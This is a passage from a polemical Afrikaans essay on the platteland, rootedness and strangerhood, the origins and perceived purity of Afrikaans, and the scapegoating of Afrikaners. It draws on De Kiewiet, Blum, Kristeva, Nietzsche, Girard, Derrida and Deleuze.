ces contreés toutes proches qui offrent au visiteur l’image d’un autre monde. De l’autre côté du détroit, un peu à l’écart du fleuve et de la grand-route, au bout de la ligne des transports urbains, vit un autre peuple, à moins que ce ne soit simplement le peuple. Le spectacle imprévu dúne autre humanité s’offre sous ses diverses figures: retour à l’origine, descente aux enfers, avènement de la terre promise. 5

[hierdie nabygeleë kontreie wat aan die besoeker ’n blik op ’n ander wêreld bied. Oorkant die détroit, ietwat verwyder van die rivier of die grootpad, aan die einde van die stedelike vervoerstelsel, leef ’n ander volk, ’n mens sou sover kon gaan om te sê: die volk. Die onverwagse skouspel van ’n ander mensdom bied hom in verskeie vorme aan: terugkeer na die oorsprong, hellevaart, koms van die beloofde land.]

Ten spyte van die kultuurapartheid van die nuwe Suid-Afrika wat die platteland wil amputeer ten behoewe van ’n stedelike Engelse en grotendeels ingevoerde Hollywoodkultuur, herken ons die volk as Afrikaans. Selfs die swartes hier praat Afrikaans. Eugène Marais se Waterberg, Breyten Breytenbach se Wellington of Bonnievale, dit alles is maar inkarnasies van hierdie l“and van die volk” binne Rancière se definisie. Dit is waar ons wortels heen strek, waaruit die digter sy inspirasie put of waar ons gewoon die modes en pretensie van die stad afskud en weglê aan ’n bredie en wyn wat in ’n blikbeker geskink kan word.

Die platteland en die volk wat dit bewoon, is egter veelduidig, soos ook uit die hierbo-aangehaalde gedeelte blyk: dit kan óf hellevaart óf beloofde land, of selfs iets anders wees. Trouens, die grond, die bodem is ideologies dubbelsinnig. Die grond is enersyds die lokus van identiteit en nasionalisme, selfs fascisme, maar terselfdertyd is dit die eindbestemming van rewolusionêre vooruitgang waar grondlose kleinboere of die proletariaat oplaas weer hervestig kan word sodat hulle die verlore Eden mag terugvind van waar hulle verjaag is deur die kapitalisme, kolonialisme en apartheid. In Duitsland is die Blut und Boden-slagspreuk uit die dertigerjare vervang deur die groen “terug-na-die-natuur”, twee oënskynlik teenoorgestelde bewegings.

In Suid-Afrika word die sin van die grond en by uitbreiding van die platteland verder gekompliseer deur die nomadiese tradisies van die verlede. Die afsku waarmee ’n sedentêre Engels-koloniale bewind die rustelose Trekboere bejeën het, is verwant aan die idee dat hulle besig was om weg te trek van die beskawing as sodanig, dat hulle as ’t ware op vlug geslaan het voor die beskawing self. Hierdie paradoks van Europese nomades word soos volg beskryf deur De Kiewiet in sy History of South Africa 6 waar hy met kenmerkende Engelse afkeur opmerk:

In the long quietude of the eighteenth century the Boer race was formed. In the vast, unmysterious, thirsty landscape of the interior lay the true centre of South African settlement. When the Trekboers entered it with their flocks and tented wagons, they left the current of European life and lost the economic habits of the nations from which they had sprung. Though they never became true nomads, the mark of nomadism was upon them, and their dominant traits were those of a restless and narrow existence. They had the nomad’s appetite for space and possessed the hardness and courage of men of the saddle who watch their flocks and hunt their meat. Their wealth was in their cattle and in their sons and grandsons, who were born numerously and who thrived amazingly. Their life gave them a tenacity of purpose, a power of silent endurance, and the keenest self-respect. But this isolation sank into obstinacy, their power of endurance into resistance to innovation, and their self-respect into suspicion of the foreigner and contempt for their inferiors. For want of formal education and sufficient pastors, they read their Bibles intensively, drawing from the Old Testament, which spoke the authentic language of their lives, a justification of themselves, of their beliefs and their habits. 7

Waarskynlik sou dié teks môre op CNN gelees kon word apropos van Afrikaners vandag, en niemand sou ’n wenkbrou daaroor lig nie. Hierdie beperkte siening van die Boer en die Afrikaner wat neffens die Europese beskawing leef of geleef het, geld nog steeds. Op ’n manier word die platteland of binneland nog altyd gesien as onaanloklik (“forbidding”). Die koloniale afsku vir die binneland en sy inwoners is magistraal beskryf deur Peter Blum in sy satiriese gedig “Rooinekke op Hermanus” wat in jukstaposisie met De Kiewiet se siening aangehaal kan word.

O gestilde
sinnebeeldvoëls, simboolvlerke, jul pryk
teen sononder, klaar met dool, enkel embleem
van hierdie seksie onwilde, ongewilde
vasgemeerde, aarde-agterhaalde ryks-
arende, pensioentrekkers op ou roem,
wat koel staan teenoor óns rumoer, kil-vreemd
— nie aanvoel wat óns bedoel, ín ons woel:
hartstog-verleerde, wrok-onbegrypende
sege-moeg, effens geaffronteerde
see-afkykers, agterland-afgekeerdes
wat hoegenaamd niks nie brandelik begeer. 8

Blum, ’n Duitser, skryf hier in sy aangenome taal, Afrikaans. Dit is miskien ironies dat hy moes doodgaan in ’n gestig in Engeland, tuiste van die rooinekke. In ’n sekere sin is hy ’n vreemdeling wat oor ander vreemdelinge skryf in ’n taal wat deur baie deesdae gesien word as synde ’n vreemde taal in die Engelse Suid-Afrika, iets wat jy net met onderskrifte kan verstaan. In die jargon van die nuwe Suid-Afrika sou Blum nie kwalifiseer vir die benaming “South African writer or poet” nie. Dit is ’n eienaardige verwikkeling aangesien die ryksarende van die gedig, wat hul pensioen trek op ou roem, skynbaar hulself op die oneerbiedige digter gewreek het. Hul gebrek aan hartstog, hul “kil-vreemdheid” het hulle kennelik goed te pas gekom; die digter het nou iets van ’n uitgestorwe spesie geword, nie die ryksarend nie. Maar tydens die gedig — vir ’n oomblik — vier ons die majesteit van daardie innerlike of binnelandse ruimte, daardie land wat Hermanus omring en waarvan die ryksarende as “agterland-afgekeerdes” hulself afgesluit het. Dit is ’n land, die land van die digkuns, waar elkeen en niemand ’n vreemdeling is nie.

De Kiewiet besef waarskynlik nie dat nomadisme en chauvinisme mekaar uitsluit nie, want die nomade bewerkstellig nie ’n verhouding met die grond wat stabiel genoeg is om as outochtoon gereken te word en dus ander as vreemdelinge te sien nie. Die Boere is “obstinaat” omdat hulle nie die Britse bewind wou aanvaar nie, en kultureel nie hulself wou verengels in ’n beskaafde Engelse Suid-Afrika nie. As historikus van die ryksarende bejeën hy hulle met al die chauvinistiese veragting waartoe die beskaafde man in staat is wanneer hy van aangesig tot aangesig met die barbaarse nomade verkeer. En ook: die proses van trek maak van die Boere vreemdelinge-in-wording wat die Westerse beskawing verlaat en sodoende verafrikaans in die mees radikale sin. Op ’n stadium gaan ’n mens die proses moet ondersoek waardeur die Engelse afkeer van Afrika en rassisme wat aanvanklik op barbare van alle rasse en kulture gefokus was, deur ’n Freudiaanse vorm van “oordrag” uitsluitlik tot Afrikanerhaat en veral onderdrukking van die Afrikaanse taal as ’t ware “gedistilleer” is. (Dit is ’n Freudiaans-Lacaniaanse projek-in-die-kleine wat heel prettig mag wees, aangesien “oordrag” ook een van die belangrikste onderliggende konsepte was by daardie resente Amerikaanse mode wat iets met “con” te make het soos in “decon …” en “déconner”, om nie van die “connards” te vergeet nie.)

Die beweging van mense op die grond, en selfs die wortelskiet van hul kultuur, hul taal en die naamgewing wat ontstaan uit hul interaksie en waarneming van die omgewing, die benoeming van bome en voëls en diere, dit alles vind binne menslike tyd plaas. Die landskap verander egter baie stadig, ongemerk binne geologiese tyd wat mensewesens beswaarlik kan voorstel. In ’n sekere sin is menslike kultuur dus vreemd aan die land, en selfs ons spesie is ’n immigrantespesie wat vandag hier mag wees en môre nie meer nie.

Na my mening is daar steeds ’n humanistiese en daarom antropomorfiese element aan Heidegger se begrip van kultuur as ’n vorm van organiese groei, waarna hierbo verwys is. Dit is waar dat kultuur moeilik kan bestaan sonder wortels: die déracinés binne Suid-Afrikaanse konteks woon slegs hier om die lekker inkopies, en hulle migreer maklik na waar die inkopies beter is (of miskien veiliger). Die plattelander, daarenteen, staar ’n bietjie soos Tityrus in Vergilius se eerste Herdersgedig 9 na die grootte van Rome wat oor Naboomspruit toring soos die statige sipres oor die beskeie vibernum, en besluit dat hy die eenvoudige, stoïsynse lewe verkies bo die inkopies te midde van die stadsrumoer. Dog soms het hy geen keuse nie, soos Meliboeus wat van sy grond afgesit is vanweë ’n gebrek aan politieke vriende in Rome. Uiteindelik speel die kans ’n rol daarin of ’n mens toegelaat sal word om aan te bly of gedwing sal word om te vertrek, of ’n mens jou wortels gaan behou of nie. Daar bestaan iets soos ’n taalkundige ekologie, en tale, soos spesies, is besig om uit te sterf. Anders as Darwin se idee van natuurlike seleksie, word die proses van uitsterwing grootliks gedryf deur toevallige gebeure, deur die kans. Die ekologie, taalkundig of andersins, is ’n stogastiese proses. Daar word gesê dat 99,9% van alles spesies wat ooit op aarde bestaan het, reeds uitgesterf het. Die taalkundige verskeidenheid van die platteland mag kwesbaar wees vir die funeste gevolge van ’n toevallige gebeurtenis, wat die vorm van ’n droogte mag aanneem, of die goudprys op $200, of ’n besluit in Rome.

Is ons almal vreemdelinge? Dit is waarskynlik die siening van Julia Kristeva waar sy sê:

Étrangement, l’étranger nous habite : il est la face cachée de notre identité, l’espace qui ruine notre demeure, le temps où s’abîme l’entente et la sympathie. De le reconnaître en nous, nous nous épargnons de le détester en lui-même. Symptôme qui rend précisément le <> problématique, peut-être impossible, l’étranger commence lorsque surgit la conscience de ma différence et s’achève lorsque nous nous reconnaissons tous étrangers, rebelles aux liens et aux communautés. 10

[Vreemd genoeg woon die vreemdeling binne-in ons: hy is die keersy van ons identiteit, die ruimte wat ons tuiste ruïneer, die tyd waarin wedersydse begrip en meegevoel afbreek. Deur dit binne-in ons te herken, vermy ons dit om dieselfde ding in hom te verag. ’n Simptoom wat juis die “ons” problematies maak, miskien selfs onmoontlik, die vreemdeling begin sodra die bewustheid van my andersheid na vore tree en word voltooi sodra ons onsself herken as synde almal vreemdelinge, rebelle teenoor bande en teenoor gemeenskappe.]

In terme hiervan word ’n mens ’n vreemdeling — “volksvreemd”! — sodra jy teen die gemeenskap rebelleer, of selfs bewus raak van jou eie individualisme. Die platteland is geen vreemdeling as dit by rebellie kom nie, gedagtig aan 1914 of Van Melle se Bart Nel 11, maar is miskien minder verdraagsaam teenoor anderse individue as die stad. Aan die ander kant, deur sy andersheid te behou teenoor die imperiale hinterland van nywerheid en handel, sy ekologie te handhaaf, brei die platteland miskien sy dade van rebellie uit. Kollektief is die platteland tot vreemdeling verklaar, wat miskien lig daarop werp waarom vreemdelinge nie so goed behandel word in sy midde nie.

’n Verwante probleem aan dié van vreemdeling-wees (of dié van setlaar en boorling) is dié van suiwerheid. Op verskillende tye sal verskeie “groepe” — ek gebruik doelbewus ’n gelade term uit die onlangse verlede — aanspraak daarop maak om waaragtig inheems te wees. Hulle was eerste daar, dis die land van húl voorvaders, hulle is die meerderheid, of die uitverkore minderheid, wat die geval ook al mag wees. Hierdie aanspraak is van dieselfde tipe as die aanspraak op rassesuiwerheid, want dit veronderstel ’n goddelike of regskape oorsprong. Dus het ons gevorder vanaf ’n ideologie van rassesuiwerheid tot nedersettingsuiwerheid. Die amptelike siening van die Afrikaanse taal het geëvolueer vanaf die siening onder die Britse bewind in die Kaap tydens die negentiende eeu dat dit die resultaat was van ras- en taalvermenging, wat toentertyd afkeurenswaardig was, na die huidige voorstelling van beide die ANC en die Engelstalige media van ’n wit Afrikanertaal wat gestigmatiseer is deur apartheid en gepaardgaande neigings tot rassesuiwerheid en eksklusiwiteit. Duidelik is geeneen van hierdie sienings korrek as dit gemeet word aan taalkundige of demografiese kriteria nie. Wat ons hier sien, is ’n soort omgekeerde diachroniese dialektiek waar die boosheid van gister figureer as die goeie van vandag, en andersom.

Ook die fassinasie met die ontstaan van Afrikaans as taal wat uiting gevind het in vele taalkundige teorieë sedert die negentiende eeu moet in hierdie lig gesien word. Tot vandag toe word die opvatting van Valkhoff gehuldig dat Afrikaans ’n soort Kreoolse taal is wat sy oorsprong had in die pidginisering van Nederlands deur die Koen-bevolking of Hottentotte. In die negentiende eeu is hierdie gemengde herkoms van Afrikaans gesien as bron van onsuiwerheid, as “kitchen Dutch”, ’n term wat die taalkundige verbastering moes benoem wat die taal nie waardig gemaak het om soos die Europese tale oor ’n Bybelvertaling te beskik nie. Watter ironie is dit nie dus dat Afrikaans vandag juis as rassuiwere witmanstaal voorgehou word nie, die dialek van die AWB en dergelike. Binne die kleinlike rastaalpolitiek van Suid-Afrika het Afrikaans daarom binne die bestek van ’n eeu gevorder van nie-blanke taal tot blanke taal, ongelukkig in omgekeerde orde van politieke korrektheid.

Binne ’n gesonde-verstandparadigma het kultuur, ekologie, musiek, kuns, letterkunde, al daardie elemente wat as buitensporig, of en trop soos die Franse sê, beskou kan word, geen plek nie. Daar is ’n besonder Engelse vorm van gesonde verstand (common sense) wat onhebbelik kan wees. Dit is van die soort wat alles in terme van sy nut sien, en nie in terme van sy waarde (wat in elk geval ’n funksie van die mark is) nie. Gesonde verstand beskou die platteland as ’n blote produksiefasiliteit vir die graanmark, en taal as ’n kode vir die uitruil van inligting tussen verbruikers. Alles kan uiteindelik gereduseer word tot sy nutswaarde, en as dit nie daaroor beskik nie, kan dit vernietig word of weggegooi word. So is dit ook met identiteit, die kleur van ’n individu nie in die rassesin nie, maar in die etniese sin, selfs die stamsin. Waarom mag ons nie ’n stam hê nie, al is dit ’n wit stam? Waarom mag ons nie na Schoenberg luister nie, selfs al bestaan daar geen mark vir sy musiek nie? Waarom mag ons nie begeer nie, al is ons begeertes nie rasioneel nie?

Die kritiek op gesonde verstand — teenoor die Kantiaanse sensus communis wat iets anders is — op naïewe realisme en op naïewe empirisme is weer eens grotendeels op die Europese Vasteland gevoer, en nie op die Britse Eilande nie. Kennelik kan dit gesien word as ’n oorvereenvoudiging van twee uiteenlopende filosofiese tradisies, maar binne die kulturele debat in ons land, veral die tweehonderdjaaroue botsing tussen Engels en Afrikaans, is hierdie digotomie tussen ’n kwasi-Angel-Saksiese en ’n kwasi-Vastelandse siening van kultuur herhaal. (Ek laat hier die sogenaamde Afrikanistiese kultuursiening buite rekening omdat dit meer onlangs na vore gekom het en na my mening nie besonder afwyk van sekere fundamenteel Westerse konsepte nie.) ’n Estetiese betrokkenheid met die taal of die landskap mag vanuit die gesonde verstand-siening met sy klem op operasionele kwessies en transnasionale kommunikasie, opvoedkundige opheffing, ens, gewoon “nasionalisties” of selfs fascisties voorkom. Dog die teenoorgestelde is waar wanneer so ’n betrokkenheid vanuit die veelheid van Vastelandse tradisies soos rasionalisme, dialektisisme, of die verskeie vorme van geradikaliseerde vorme van taalkundige strukturalisme en Nietzscheanisme wat ons in die ná-oorlogse Europa vind, beskou word. Deleuze, om maar een voorbeeld te noem, het inderdaad minderheidstaal teenoor dié van die meerderheid gepriviligeer. Hy siteer onder andere die reël van Proust, “Les beaux livres sont écrits dans une sorte de langue étrangère” — “mooi boeke word in ’n soort vreemde taal geskryf” 12. In dieselfde trant praat hy van “etnos, die minderheidagtige, die vluglyn binne die struktuur, die anti-historiese element binne die Geskiedenis”. 13 Afrikaans en alles wat daarmee saamhang, dit het ons ook met die Waarheidskommissie gesien, is toenemend die ongewenste, steurende etniese element wat die samehang van die imperiale Engel se geskiedenis beduiwel. In die sogenaamde nuwe Suid-Afrika word ons gesien as behorende tot ’n voor-geskiedenis, of liefs ’n geskiedenis wat vergeet behoort te word ter wille van die heersersverhaal van swart lyding en bevryding in Engels.

Britse gesonde verstand vrywaar ’n mens boonop nie van rassisme en fascisme, veral daardie besondere variëteit waarna ek vroeër verwys het deur gebruik van die ietwat oudmodiese term, “jingoïsme”, nie. By ’n onlangse konferensie aan die Oxford Universiteit met as titel “South Africa 1895-1921: test of Empire” is die vormingsjare van die huidige semi-nywerheidsland wat ons as Suid-Afrika ken, onder die loep geneem. Die mees onlangse navorsing oor die denke van Lord Milner wat die opvoedkundige beleid met die vorige eeuwending bepaal het en ’n versnelde vorm van verengelsing en taalverdrukking ingestel het in die naam van vooruitgang en ontwikkeling — daardie twee gesonde verstand-ideale — toon duidelik ’n byna boosaardige vorm van Angel-Saksiese heerssugtigheid waarbinne die idee van ’n “heersersras” nie afwesig is nie. Die intellektuele verwarring van ons huidige regering, verskeur tussen Afrikanistiese ideale en die sogenaamde ekonomiese werklikhede wat deur oligopolistiese, koloniale belange aan hom opgedring word, mag wel ’n mutante Milnerisme toelaat in die naam van Afrikabevryding, wat selfs, indien dit te ver gevoer word, kan eindig in een of ander chiliastiese, geradikaliseerde optrede, hetsy deur ’n Kulturele Rewolusie, hetsy umahaa of statsosialisme, of die herinstelling van konsentrasiekampe.

Ek is bewus daarvan dat ek hier sinspeel op sekere van die magtige simbole van wat bekend staan as “denke van regs” binne ons konteks. Dit gaan hier egter nie om opsweping nie, maar om besinning oor die situasie waarin Afrikaans hom tans bevind. Ek durf die moontlikheid van ’n ekstreme terugkeer na Anglosentriese “social engineering” en repressie noem, juis omdat die aktivistiese, moralistiese lesing van die geskiedenis wat onlangs in Suid-Afrika gewild geword het, so kommerwekkend is. Dit is ’n “geskiedenis van die armes” wat soek na ’n enkele oorsaak vir armoede en lyding. Merendeels word dit alles geassosieer met die konsep “apartheid” waarop ek nie nou wil ingaan nie. 14 In soverre as wat die Afrikaner en Afrikaans as ’t ware daarvoor verantwoordelik gehou word dat swart Suid-Afrikaners en by uitbreiding Afrikane suid van die ewenaar nie oor dieselfde vlak van opvoeding en ’n gelykstaande lewenstandaard as die burgers van Switserland beskik nie, het ons te make met die problematiek van die sondebok waarby kwessies soos taal en identiteit wel regstreeks betrokke is. Joodse spekulante is ook verantwoordelik gehou vir die Duitse hiperinflasie tydens die Weimar-republiek, en ons weet waarop dit uitgeloop het.

Voordat ek uitwei oor die opvatting van die sondebok, is dit nodig om te probeer verstaan wat ’n stereotipe of ’n karikatuur soos daar van die Afrikaner en sy politieke betrokkenheid in Suid-Afrika gemaak is, behels. Daar is geen “identiteit” wat so sterk is soos dié van die “dumb Dutchman” nie, daardie frase wat vanaf die Engelse skoolgronde in Suid-Afrika sy weg gevind het tot die voorblad van Time of die gesanik van Europese TV-nuusaanbieders. Veral tydens my verblyf in Frankryk het ek onder die indruk gekom dat ’n mens enigiets oor Suid-Afrika, Afrikaners, Afrikaans, ens, kan kwytraak sonder dat dit in die minste aan een of ander perk of kriterium onderworpe is. Ons is fasciste, mensvreters, moordenaars, barbare, ontaarde wit mense, en wat nog. Ek kan onthou dat die wildbewaarders wat olifante uitdun in die Kruger-wildtuin op televisie voorgehou is as irrasionele wreedaards wat doodmaak omdat dit in hul eie aard is as vermoedelik wit Afrikaners. Vir diegene wat nog gewonder het oor hul identiteit in Afrikaans, is daar reeds ’n klaargemaakte een, ’n “globale identiteit”, wat waarskynlik deur miljarde mense op hierdie planeet as buite bespreking geag word.

Nieteenstaande die besondere verhouding wat daar tussen Afrikaans en die landskap bestaan, en die geworteldheid waarvan daar hierbo melding gemaak is, is dit tans nodig om oor te gaan tot ’n radikale vorm van vergeetagtigheid. By my definisie van Afrikanerskap onlangs, as synde “iemand wat van melktert of koeksisters hou”, wil ek voeg: “iemand wat sterk genoeg is om sy identiteit te vergeet.” Veral ook sy “globale identiteit”.

Sommiges sal hierin ’n Nietzscheaanse definisie van Afrikanerskap sien, en met reg. Nietzsche voel hom as ’t ware ’n vreemdeling tussen die Duitsers, hoewel niemand waarskynlik beter die Duitse taal kon gebruik as juis hy nie. As veeltalige Europeër sien hy neer op die Duitsers en, verwysende na hul kleinlike nasionalisme, chauvinisme, anti-Semitisme, verwys hy na “diese kleinen Benebelungen des Deutschen Geistes und Gewissens” 15 [“die klein bedwelminge van die Duitse gees en die Duitse gewete”]. In sy skerp onafhanklike kyk na sy vaderland — ’n “viviseksie” noem hy dit — is daar vir ons ’n les. Het dit nie tyd geword dat ook ons die skimme van die verlede van ons afwerp en opnuut die vraag vra: wat is Afrikaans, wat beteken dit nie?

Nietzsche neem verder die Duitsers kwalik dat hulle oor “geen hede” beskik nie. Hoeveel te meer is dit nie op ons van toepassing nie! As daar een aspek is van die huidige Suid-Afrika wat uitstaan, is dit die gehamer op die — sy dit dan onlangse — verlede. Elkeen kan homself moreel regverdig en sy vyand as demoon verdoem deur sy visier in te stel op die regte jaartal, of dit nou 1899 of 1976 is. Die selektiewe onthou van die verlede is in ons maatskappy tot ’n kuns verhef, by gebrek aan kuns in die ware sin van die woord. Dit is nodig om ons teen dié dialektiek te verset, deur eenvoudig te vergeet, deur onskuld teen skuld te stel, beaming teen ontkenning, die amorele teen die morele, nie-identiteit teenoor identiteit.

Die intensiteit van die gevoel teen Afrikaans en Afrikaners is nie bloot te verklaar met verwysing na die buitelandse korrespondent wat sy propaganda die wêreld instuur waar dit klakkeloos deur die hordes as evangelie opgeneem word nie. Meer en meer kom dit voor asof anti-Afrikaansheid, of dan “Boerehaat” soos dit tradisioneel bekend staan, nie net vormlik nie maar ook konseptueel verwant is aan anti-Semitisme. Toevallig is Suid-Afrika en Israel tot onlangs in die internasionale media oor dieselfde kam geskeer, maar dit gaan veel dieper, want beide Jode en Afrikaners het ’n kollektiewe aartsonde gepleeg jeens die Weste. In die geval van Jode is dit sekerlik die moord op Christus, asook hul andersheid, hul eksklusiwiteit. Wat Afrikaners en hul voorgangers, die Boere, betref, is dit eerder hul vergeetagtigheid, die feit dat hulle vergeet het hoe om korrek en algemeen beskaaf Nederlands te praat, en in ’n sekere sin hul rug gekeer het op die Westerse beskawing soos wat De Kiewiet beweer. Vergun my weer eens ’n aanhaling uit my gunstelingboek oor die Boere, De Kiewiet se History of South Africa,

Men so widely scattered as they were lost the gregarious habit of their forefathers in Europe. They built few villages. On the great farms each man fled the tyranny of his neighbour’s smoke. It followed that their communal life was loosely organized. They came together when compelled by danger or crisis. In the face of the native population their sense of race and fellowship was exceedingly keen. But their co-operation was not continuous and sustained. The habits of their social life were like the discipline of their commados. It was the sum of individual willingness; at its best it was excellent, at its worst it destroyed the commando. 16

In ’n sekere sin was die Boer dus ’n “soewereine individu” wat staatloos gelewe het, en bloot die gemeenskap opgesoek het as daar sprake was van gevaar. Die beeld van nomades wat al verder verwyder raak van hul oorsprong in die volke van Europa is by uitstek die bydrae van De Kiewiet tot die SA geskiedskrywing, soos ons reeds gesien het. Op ’n baie meer banale vlak kry dit tot vandag toe en veral in die internasionale media uitdrukking in die opvatting dat Afrikaners ’n verworde wit “stam” is en, let wel, geen “volk” nie. Die vergeet van ’n Europese nasionale identiteit is een van die ernstigste aanklagte teen Afrikaners. Dit maak hul minder beskaafd, nader aan barbare, minder moreel.

Aan die ander kant staan die Afrikaner nogtans nader aan die Weste as die Afrikaan wat afkomstig is uit ’n soort Utopie wat nog nie bederf is deur die beskawing nie. In die negentiende eeu het hierdie idee berus in die Rousseauistiese opvatting van die “edele barbaar”; tans vind ons dit terug in die algemeen gangbare geloof dat die lewenstandaard en kwaliteit van lewe van Afrikane veel beter was voor die koms van Europeërs na Suid-Afrika. Trouens, die Groot Trek het die utopiese ruimte van die binneland soos dit gesien is vanuit die Britse sendelingparadigma, besoedel. Die Afrikaner bevind hom dus in ’n tussengebied tussen Europa en Afrika, en hy beskik nóg oor beskawing nóg oor die morele ongeskondenheid van die Afrikaan.

Die hele kwasi-Calvinistiese debat wat daar deesdae romdom “skuld” gevoer word, gaan ons nie eintlik aan nie. Die strik waarin sekere Afrikaanse skrywers trap om skuld of aandadigheid aan die sondige verlede te bely, hoe hulle ouers die woord “kaffer” in die huis gebruik het, die outas agter die kraalmuur met sambokke aangerand het, ens, bewys net weer hoe sterk die globale Afrikaneridentiteit is, dat dit ’n mens oproep tot belydenis, veral as ’n New Yorkse uitgewer sy tjekboek uithaal en sê: “Tell me how dumb ya are, Dutchman.” Glucksmann het reeds gewys op hierdie neiging by die Weste om geen morele skuld aan Afrikane toe te ken nie, en slegs aan die stiefkinders van die Weste, die Afrikaners, alhoewel sy gevolgtrekking dat die Westerling homself in die blanke Suid-Afrikaner weerspieël sien, nie vir my opgaan nie. 17 In die mensdom se obsessie met ras, wat sedert Cuvier en Darwin dateer, is daar voortdurend nuwe vorme van etniese denke en sondeboksoekery wat na vore kom. Teenoor die “eenvoudige” Europese rassisme van die verlede, vind ons nou die oordrag na kwesbare sosiale groepe van die rassekompleks via kulturele of ekonomiese diskriminasie. Niemand het nog ras as konsep afgesweer nie, allermins ons huidige heersers, maar die skuld of die merk van Kaïn het van een groep na ’n ander verskuif.

Die idee van die sondebok is breedvoerig bespreek deur René Girard. 18 Die soort optrede wat uitloop op die soek na ’n sondebok is per definisie dié van ’n heksejag. In sy meer anti-Afrikaanse momente bantwoord die Waarheids- en Versoeningskommissie geheel en al aan hierdie definisie. Tydens die Pes in Europa gedurende die Middeleeue is groot groepe Jode vermoor as sou hulle verantwoordelik gewees het vir die ellende. Die demagogiese begrip “apartheid” is ’n soort opvangbak vir alle maatskaplike euwels wat in Suid-Afrika en selfs in Suider-Afrika werksaam is, vanaf armoede, gebrek aan opvoeding, werkloosheid, tuberkulose, tot Vigs, stamgeweld, misdaad, noem maar op. Dit is nie soveel verskillend van die pes nie, en die werklike oorsake van hierdie toestande is aan ons ewe duister as wat mikrobiologiese verskynsels aan die stadsbewoners van die Middeleeue was. Interessant is dat daar gewoonlik ’n “teken” of eienskap kleef aan die sondebok wat hom uitsonder van die meerderheid aan wie hy kwaad doen of gedoen het. 19 Belangrik is dat die slagoffer van vervolging deur die meerderheid nie gekies word na aanleiding van die misdaad — werklik of verbeeld — wat hy gepleeg het nie, maar op grond van sy slagofferteken wat op stereotipes berus. Stereotipering hou daarom altyd die gevaar van vervolging in. Slagoffertekens is dikwels ook “verskille”, ’n “andersheid” wat ook kultureel of godsdienstig kan wees. ’n Voorbeeld van ’n slagoffer wat deur Girard genoem word is Oedipus in die stuk deur Sophocles.

Plus un individu possède de signes victimaires, plus il a de chances de’attirer la foudre sur sa tête. L’infirmité d’Oedipe, son passé d’enfant exposé, sa situation d’étranger, de parvenu, de roi, font de lui un véritable conglomérat de signes victimaires. 20

[Hoe meer slagoffertekens ’n individu het, hoe groter is die kans dat hy die ongeluk oor hom kan bring. Die gebrek van Oedipus, sy verlede as weggooikind, sy status as buitelander, as parvenu, as koning, maak van hom ’n ware konglomeraat van slagoffertekens.]

In baie opsigte is Afrikaans ’n unieke taal op die vasteland van Afrika, wat die sprekers daarvan ook uniek maak, ’n eienaardige minderheid in ’n wêreld wat oorheers word deur groot imperiale tale: Mandaryns in die Ooste, Engels in die Weste. Dit is ’n ongemaklike posisie om ’n lid van ’n eienaardige minderheid te wees in ’n omgewing of op ’n vasteland wat gedurig gebuk gaan onder maatskaplike en natuurrampe, oorloë, opstande, terreur, misdaad en die verspreiding van aansteeklike siektes soos Vigs en malaria. Soos die Jode, is alle Afrikaners of Afrikaanssprekendes uiters kwesbaar as synde ’n “konglomeraat van slagoffertekens”, en moet hulle byvoorbaat die konsentrasiekamp anderkant die bult sien sodra aantygings van kollektiewe skuld gemaak word of etniese stereotiperingsveldtogte via die massamedia gevoer word.

Ek wil vir ’n oomblik stilstaan by die idee van ’n tussengebied, ’n niemandsland, die uitgestrektheid van die landskap, ’n soort Karoo van die identiteit. Daar is ’n woord in Frans vir “gebied” of “omstreke” wat reeds ontgin is om die aarselende betekenis weer te gee waarna ek soek, die woord “parages”.

Parages: à ce seul mot confions ce qui situe, tout près ou de loin, le double mouvement d’approche et d’éloignement, souvent le même pas, singulièrement divisé, plus vieux et plus jeune que lui-même, autre toujours, au bord de l’événement, quand il arrive et n’arrive pas, infiniment distant à l’approche de l’autre rive. 21

[Gebied: aan hierdie enkele woord wil ons toeken dit wat, hier naby of daar ver, die dubbele beweging van naderkoms en wegtrek omvat, eiesoortiglik verdeel, ouer en jonger as sigself, altyd anders, aan die rand van die gebeurtenis, as dit arriveer én nie arriveer nie, oneindig ver verwyder wanneer die oorkantste oewer benader word.]

As hierdie aanhaling klink soos ’n dekonstruksie van die Groot Trek, is dit nie toevallig nie: dit is afkomstig uit ’n teks van Jacques Derrida oor die werk van Maurice Blanchot. Enkele bladsye later tydens ’n ontleding van Blanchot se boek Le pas au-delà (“Die tree na anderkant”), is daar ’n eg Nietzscheaanse formulering van dieselfde konsep van ’n aarselende oorgang:

Il y a toujours deux pas. L’un dans l’autre mais sans inclusion possible, l’un affectant l’autre immédiatement mais à le franchir en s’eloignant de lui. Toujours deux pas, franchissant jusqu’à leur négation, selon le retour éternel de la transgression passive et de l’affirmation répétée. 22

[Daar is altyd twee treë. Die een voetspoor in die ander maar sonder moontlike insluiting, die een wat die ander onmiddellik affekteer maar deur ’n tree telkens verder weg te gee. Altyd twee treë, te gee tot by hul wedersydse ontkenning, volgens die ewige wederkeer van passiewe oortreding en herhalende bevestiging.]

Die huiwerende situasie van Afrikaans, gevang in sy taalgebied in Afrika maar gedurig intellektueel in pas met Europa, is vir my nie anders as die beskrewe beweging nie. Ook die posisie van Afrikaans, in sy opkoms en verval as amptelike taal, die skynbaar fatale dans met mag van die pas afgelope veertig jaar of so, kan gesien word as ’n betreding van dié unieke tussengebied waar die bordjies telkens verhang word. Taalbeweging, taaltrek, taaldraadtrek, dit is soveel valle van die dobbelsteen van die ewige wederkeer. Maar betreding dui reeds op die begaan van ’n oortreding, om die ander se taalgebied as ’t ware te kom bevuil met jou poësie, jou letterkunde, jou radio- of televisieprogram, jou advertensie, jou preek of draakstekery.

Die eindelose herkolonisering van die Afrikaner, nou in die naam van imperiale uitbreiding, dan weer in die naam van postkoloniale ontwikkeling, is inderdaad ’n ervaring van die ewige wederkeer. Dié heen-en-weer beweging wat nie net die herhaalde aanslae van die geskiedenis omvat nie, maar ook die uitspeel van Afrikaans in sy verhouding tot die Suid-Afrikaanse landskap in die breedste moontlike sin, word vir my mooi saamgevat deur Deleuze se koeplet deterritorialisering/reterritorialisering. Afrikaans is letterlik ’n gedeterritorialiseerde Nederlands, wat op sy beurt gereterritorialiseer word deur Engels en die pre-koloniale Afrika-utopie.

